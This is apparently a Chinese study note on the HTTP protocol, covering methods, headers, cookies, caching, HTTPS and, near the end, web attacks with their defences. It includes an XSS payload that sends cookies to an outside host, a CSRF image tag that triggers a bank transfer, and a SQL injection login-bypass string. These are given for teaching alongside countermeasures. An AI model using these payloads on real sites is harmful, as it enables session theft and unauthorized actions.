URI 包含 URL 和 URN,目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。
客户端发送的 请求报文 第一行为请求行,包含了方法字段。
获取资源
当前网络请求中,绝大部分使用的是 GET 方法。
获取报文首部
和 GET 方法一样,但是不返回报文实体主体部分。
主要用于确认 URL 的有效性以及资源更新的日期时间等。
传输实体主体
POST 主要用来传输数据,而 GET 主要用来获取资源。
更多 POST 与 GET 的比较请见第八章。
上传文件
由于自身不带验证机制,任何人都可以上传文件,因此存在安全性问题,一般不使用该方法。
PUT /new.html HTTP/1.1
Host: example.com
Content-type: text/html
Content-length: 16
<p>New File</p>
对资源进行部分修改
PUT 也可以用于修改资源,但是只能完全替代原始资源,PATCH 允许部分修改。
PATCH /file.txt HTTP/1.1
Host: www.example.com
Content-Type: application/example
If-Match: "e0023aa4e"
Content-Length: 100
[description of changes]
删除文件
与 PUT 功能相反,并且同样不带验证机制。
DELETE /file.html HTTP/1.1
查询支持的方法
查询指定的 URL 能够支持的方法。
会返回 Allow: GET, POST, HEAD, OPTIONS 这样的内容。
要求用隧道协议连接代理
要求在与代理服务器通信时建立隧道,使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。
CONNECT www.example.com:443 HTTP/1.1
追踪路径
服务器会将通信路径返回给客户端。
发送请求时,在 Max-Forwards 首部字段中填入数值,每经过一个服务器就会减 1,当数值为 0 时就停止传输。
通常不会使用 TRACE,并且它容易受到 XST 攻击(Cross-Site Tracing,跨站追踪),因此更不会去使用它。
服务器返回的 响应报文 中第一行为状态行,包含了状态码以及原因短语,用来告知客户端请求的结果。
状态码 | 类别 | 原因短语 |
---|---|---|
1XX | Informational(信息性状态码) | 接收的请求正在处理 |
2XX | Success(成功状态码) | 请求正常处理完毕 |
3XX | Redirection(重定向状态码) | 需要进行附加操作以完成请求 |
4XX | Client Error(客户端错误状态码) | 服务器无法处理请求 |
5XX | Server Error(服务器错误状态码) | 服务器处理请求出错 |
有 4 种类型的首部字段:通用首部字段、请求首部字段、响应首部字段和实体首部字段。
各种首部字段及其含义如下(不需要全记,仅供查阅):
首部字段名 | 说明 |
---|---|
Cache-Control | 控制缓存的行为 |
Connection | 控制不再转发给代理的首部字段、管理持久连接 |
Date | 创建报文的日期时间 |
Pragma | 报文指令 |
Trailer | 报文末端的首部一览 |
Transfer-Encoding | 指定报文主体的传输编码方式 |
Upgrade | 升级为其他协议 |
Via | 代理服务器的相关信息 |
Warning | 错误通知 |
首部字段名 | 说明 |
---|---|
Accept | 用户代理可处理的媒体类型 |
Accept-Charset | 优先的字符集 |
Accept-Encoding | 优先的内容编码 |
Accept-Language | 优先的语言(自然语言) |
Authorization | Web 认证信息 |
Expect | 期待服务器的特定行为 |
From | 用户的电子邮箱地址 |
Host | 请求资源所在服务器 |
If-Match | 比较实体标记(ETag) |
If-Modified-Since | 比较资源的更新时间 |
If-None-Match | 比较实体标记(与 If-Match 相反) |
If-Range | 资源未更新时发送实体 Byte 的范围请求 |
If-Unmodified-Since | 比较资源的更新时间(与 If-Modified-Since 相反) |
Max-Forwards | 最大传输逐跳数 |
Proxy-Authorization | 代理服务器要求客户端的认证信息 |
Range | 实体的字节范围请求 |
Referer | 对请求中 URI 的原始获取方 |
TE | 传输编码的优先级 |
User-Agent | HTTP 客户端程序的信息 |
首部字段名 | 说明 |
---|---|
Accept-Ranges | 是否接受字节范围请求 |
Age | 推算资源创建经过时间 |
ETag | 资源的匹配信息 |
Location | 令客户端重定向至指定 URI |
Proxy-Authenticate | 代理服务器对客户端的认证信息 |
Retry-After | 对再次发起请求的时机要求 |
Server | HTTP 服务器的安装信息 |
Vary | 代理服务器缓存的管理信息 |
WWW-Authenticate | 服务器对客户端的认证信息 |
首部字段名 | 说明 |
---|---|
Allow | 资源可支持的 HTTP 方法 |
Content-Encoding | 实体主体适用的编码方式 |
Content-Language | 实体主体的自然语言 |
Content-Length | 实体主体的大小 |
Content-Location | 替代对应资源的 URI |
Content-MD5 | 实体主体的报文摘要 |
Content-Range | 实体主体的位置范围 |
Content-Type | 实体主体的媒体类型 |
Expires | 实体主体过期的日期时间 |
Last-Modified | 资源的最后修改日期时间 |
HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单,使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。
Cookie 曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie 渐渐被淘汰。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB。
服务器发送的响应报文包含 Set-Cookie 首部字段,客户端得到响应报文后把 Cookie 内容保存到浏览器中。
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
客户端之后对同一个服务器发送请求时,会从浏览器中读出 Cookie 信息通过 Cookie 请求首部字段发送给服务器。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
通过 Document.cookie
属性可创建新的 Cookie,也可通过该属性访问非 HttpOnly 标记的 Cookie。
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure 标记也无法提供确实的安全保障。
标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。因为跨域脚本 (XSS) 攻击常常使用 JavaScript 的 Document.cookie
API 窃取用户的 Cookie 信息,因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Domain 标识指定了哪些主机可以接受 Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了 Domain,则一般包含子域名。例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。
Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F (“/”) 作为路径分隔符,子路径也会被匹配。例如,设置 Path=/docs,则以下地址都会匹配:
除了可以将用户信息通过 Cookie 存储在用户浏览器中,也可以利用 Session 存储在服务器端,存储在服务器端的信息更加安全。
Session 可以存储在服务器上的文件、数据库或者内存中,现在最常见的是将 Session 存储在内存型数据库中,比如 Redis。
使用 Session 维护用户登录的过程如下:
应该注意 Session ID 的安全性问题,不能让它被恶意攻击者轻易获取,那么就不能生产一个容易被才到的 Session ID 值。此外,还需要经常重新生成 Session ID。在对安全性要求极高的场景下,例如转账等操作,除了使用 Session 管理用户状态之外,还需要对用户进行重新验证,比如重新输入密码,或者使用短信验证码等方式。
此时无法使用 Cookie 来保存用户信息,只能使用 Session。除此之外,不能再将 Session ID 存放到 Cookie 中,而是使用 URL 重写技术,将 Session ID 作为 URL 的参数进行传递。
HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。
(一)禁止进行缓存
no-store 指令规定不能对请求或响应的任何一部分进行缓存。
Cache-Control: no-store
(二)强制确认缓存
no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性,只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。
Cache-Control: no-cache
(三)私有缓存和公共缓存
private 指定规定了可以将资源作为私有缓存,只能被单独用户所使用,一般存储在用户浏览器中。
Cache-Control: private
public 指令规定了可以将资源作为公共缓存,可以被多个用户所使用,一般存在在代理服务器中。
Cache-Control: public
(四)缓存过期机制
max-age 指令出现在请求报文中,并且缓存资源的缓存时间小于该指令指定的时间,那么就能接受该缓存。
max-age 指令出现在响应报文中,表示缓存资源在缓存服务器中保存的时间。
Cache-Control: max-age=31536000
Expires 字段也可以用于告知缓存服务器该资源什么时候会过期。在 HTTP/1.1 中,会优先处理 Cache-Control : max-age 指令;而在 HTTP/1.0 中,Cache-Control : max-age 指令会被忽略掉。
Expires: Wed, 04 Jul 2012 08:26:05 GMT
需要先了解 ETag 首部字段的含义,它是资源的唯一表示。URL 不能唯一表示资源,例如 http://www.google.com/
有中文和英文两个资源,只有 ETag 才能对这两个资源进行唯一表示。
ETag: "82e22293907ce725faf67773957acd12"
可以将缓存资源的 ETag 值放入 If-None-Match 首部,服务器收到该请求后,判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致,如果一致则表示缓存资源有效,返回 304 Not Modified。
If-None-Match: "82e22293907ce725faf67773957acd12"
Last-Modified 首部字段也可以用于缓存验证,它包含在源服务器发送的响应报文中,指示源服务器对资源的最后修改时间。但是它是一种弱校验器,因为只能精确到一秒,所以它通常作为 ETag 的备用方案。
如果响应首部字段里含有这个信息,客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 200 OK。如果请求的资源从那时起未经修改,那么返回一个不带有消息主体的 304 Not Modified 响应,
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
当浏览器访问一个包含多张图片的 HTML 页面时,除了请求访问 HTML 页面资源,还会请求图片资源,如果每进行一次 HTTP 通信就要断开一次 TCP 连接,连接建立和断开的开销会很大。长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
HTTP/1.1 开始默认是长连接的,如果要断开连接,需要由客户端或者服务器端提出断开,使用 Connection : close;而在 HTTP/1.1 之前默认是短连接的,如果需要长连接,则使用 Connection : Keep-Alive。
默认情况下,HTTP 请求是按顺序发出的,下一个请求只有在当前请求收到应答过后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。流水线是在同一条长连接上发出连续的请求,而不用等待响应返回,这样可以避免连接延迟。
通过内容协商返回最合适的内容,例如根据浏览器的默认语言选择返回中文界面还是英文界面。
(一)服务端驱动型内容协商
客户端设置特定的 HTTP 首部字段,例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language、Content-Languag,服务器根据这些字段返回特定的资源。
它存在以下问题:
(二)代理驱动型协商
服务器返回 300 Multiple Choices 或者 406 Not Acceptable,客户端从中选出最合适的那个资源。
Vary: Accept-Language
在使用内容协商的情况下,只有当缓存服务器中的缓存满足内容协商条件时,才能使用该缓存,否则应该向源服务器请求该资源。
例如,一个客户端发送了一个包含 Accept-Language 首部字段的请求之后,源服务器返回的响应包含 Vary: Accept-Language
内容,缓存服务器对这个响应进行缓存之后,在客户端下一次访问同一个 URL 资源,并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。
内容编码将实体主体进行压缩,从而减少传输的数据量。常用的内容编码有:gzip、compress、deflate、identity。
浏览器发送 Accept-Encoding 首部,其中包含有它所支持的压缩算法,以及各自的优先级,服务器则从中选择一种,使用该算法对响应的消息主体进行压缩,并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的,在响应中, Vary 首部中至少要包含 Content-Encoding ;这样的话,缓存服务器就可以对资源的不同展现形式进行缓存。
如果网络出现中断,服务器只发送了一部分数据,范围请求可以使得客户端只请求未发送的那部分数据,从而避免服务器重新发送所有数据。
在请求报文中添加 Range 首部字段指定请求的范围。
GET /z4d4kWk.jpg HTTP/1.1
Host: i.imgur.com
Range: bytes=0-1023
请求成功的话服务器返回的响应包含 206 Partial Content 状态码。
HTTP/1.1 206 Partial Content
Content-Range: bytes 0-1023/146515
Content-Length: 1024
...
(binary content)
响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求,可以处理使用 bytes,否则使用 none。
Accept-Ranges: bytes
Chunked Transfer Coding,可以把数据分割成多块,让浏览器逐步显示页面。
一份报文主体内可含有多种类型的实体同时发送,每个部分之间用 boundary 字段定义的分隔符进行分隔,每个部分都可以有首部字段。
例如,上传多个表单时可以使用如下方式:
Content-Type: multipart/form-data; boundary=AaB03x
--AaB03x
Content-Disposition: form-data; name="submit-name"
Larry
--AaB03x
Content-Disposition: form-data; name="files"; filename="file1.txt"
Content-Type: text/plain
... contents of file1.txt ...
--AaB03x--
HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
代理服务器接受客户端的请求,并且转发给其它服务器。
使用代理的主要目的是:缓存、网络访问控制以及访问日志记录。
代理服务器分为正向代理和反向代理两种,用户察觉得到正向代理的存在,而反向代理一般位于内部网络中,用户察觉不到。
与代理服务器不同的是,网关服务器会将 HTTP 转化为其它协议进行通信,从而请求其它非 HTTP 服务器的服务。
使用 SSL 等加密手段,为客户端和服务器之间建立一条安全的通信线路。
HTTP 有以下安全性问题:
HTTPs 并不是新协议,而是让 HTTP 先和 SSL(Secure Sockets Layer)通信,再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
通过使用 SSL,HTTPs 具有了加密(防窃听)、认证(防伪装)和完整性保护(防篡改)。
对称密钥加密(Symmetric-Key Encryption),加密的加密和解密使用同一密钥。
公开密钥加密(Public-Key Encryption),也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称密钥来保证安全性,之后使用对称密钥加密进行通信来保证效率。(下图中的 Session Key 就是对称密钥)
通过使用 证书 来对通信方进行认证。
数字证书认证机构(CA,Certificate Authority)是客户端与服务器双方都可信赖的第三方机构。服务器的运营人员向 CA 提出公开密钥的申请,CA 在判明提出申请者的身份之后,会对已申请的公开密钥做数字签名,然后分配这个已签名的公开密钥,并将该公开密钥放入公开密钥证书后绑定在一起。
进行 HTTPs 通信时,服务器会把证书发送给客户端。客户端取得其中的公开密钥之后,先使用数字签名进行验证,如果验证通过,就可以开始通信了。
SSL 提供报文摘要功能来进行完整性保护。
HTTP 也提供了 MD5 报文摘要功能,但是却不是安全的。例如报文内容被篡改之后,同时重新计算 MD5 的值,通信接收方是无法意识到发生篡改。
HTTPs 的报文摘要功能之所以安全,是因为它结合了加密和认证这两个操作。试想一下,加密之后的报文,遭到篡改之后,也很难重新计算报文摘要,因为无法轻易获取明文。
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和 Cookie 等各种内容。
例如有一个论坛网站,攻击者可以在上面发布以下内容:
<script>location.href="//domain.com/?c=" + document.cookie</script>
之后该内容可能会被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
另一个用户浏览了含有这个内容的页面将会跳往 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
(一)设置 Cookie 为 HttpOnly
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,在一定程度上可以防止 XSS 攻击窃取用户的 Cookie 信息。
(二)过滤特殊字符
许多语言都提供了对 HTML 的过滤:
例如 htmlspecialchars() 可以将 <
转义为 <
,将 >
转义为 >
,从而避免 HTML 和 Jascript 代码的运行。
(三)富文本编辑器的处理
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 <
等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,可以定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
<h1 id="title">XSS Demo</h1>
<p class="text-center">
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
<form>
<input type="text" name="q" value="test">
<button id="submit">Submit</button>
</form>
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
<p>
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
<form>
<input type="text" name="q" value="test">
<button id="submit">Submit</button>
</form>
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
<script type="text/javascript">
alert(/xss/);
</script>
跨站点请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下:
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
(一)检查 Referer 字段
HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer 字段应和请求的地址位于同一域名下。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
(二)添加校验 Token
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
也可以要求用户输入验证码来进行校验。
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
例如一个网站登录验证的 SQL 查询代码为:
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
如果填入以下内容:
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
那么 SQL 查询字符串为:
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
此时无需验证通过就能执行以下查询:
strSQL = "SELECT * FROM users;"
(一)使用参数化查询
以下以 Java 中的 PreparedStatement 为例,它是预先编译的 SQL 语句,可以并且传入适当参数多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
(二)单引号转换
将传入的参数中的单引号转换为连续两个单引号,PHP 中的 Magic quote 可以完成这个功能。
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
GET 用于获取资源,而 POST 用于传输实体主体。
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在实体主体中。
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
POST /test/demo_form.asp HTTP/1.1
Host: w3schools.com
name1=value1&name2=value2
不能因为 POST 参数存储在实体主体中就认为它的安全性更高,因为照样可以通过一些抓包工具(Fiddler)查看。
因为 URL 只支持 ASCII 码,因此 GET 的参数中如果存在中文等字符就需要先进行编码,例如中文
会转换为%E4%B8%AD%E6%96%87
,而空格会转换为%20
。POST 支持标准字符集。
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变。
安全的方法除了 GET 之外还有:HEAD、OPTIONS。
不安全的方法除了 POST 之外还有 PUT、DELETE。
幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下,GET,HEAD,PUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的:
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
POST /add_row HTTP/1.1 不是幂等的。如果调用多次,就会增加多行记录:
POST /add_row HTTP/1.1
POST /add_row HTTP/1.1 -> Adds a 2nd row
POST /add_row HTTP/1.1 -> Adds a 3rd row
DELETE /idX/delete HTTP/1.1 是幂等的,即便是不同请求之间接收到的状态码不一样:
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
DELETE /idX/delete HTTP/1.1 -> Returns 404 as it just got deleted
DELETE /idX/delete HTTP/1.1 -> Returns 404
如果要对响应进行缓存,需要满足以下条件:
为了阐述 POST 和 GET 的另一个区别,需要先了解 XMLHttpRequest:
XMLHttpRequest 是一个 API,它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式,并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做,例如火狐就不会。而 GET 方法 Header 和 Data 会一起发送。
Connection: keep-alive
Range
,服务器端响应时对应的是Content-Range
HEADER
,PATCH
请求方法,节约了带宽HTTP/1.x 实现简单是以牺牲应用性能为代价的:
HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧,它们都是二进制格式的。
在通信过程中,只会有一个 TCP 连接存在,它承载了任意数量的双向数据流(Stream)。一个数据流都有一个唯一标识符和可选的优先级信息,用于承载双向信息。消息(Message)是与逻辑请求或响应消息对应的完整的一系列帧。帧(Fram)是最小的通信单位,来自不同数据流的帧可以交错发送,然后再根据每个帧头的数据流标识符重新组装。
HTTP/2.0 在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 page.html 页面,服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
HTTP/1.1 的首部带有大量信息,而且每次都要重复发送。HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表,从而避免了重复传输。不仅如此,HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。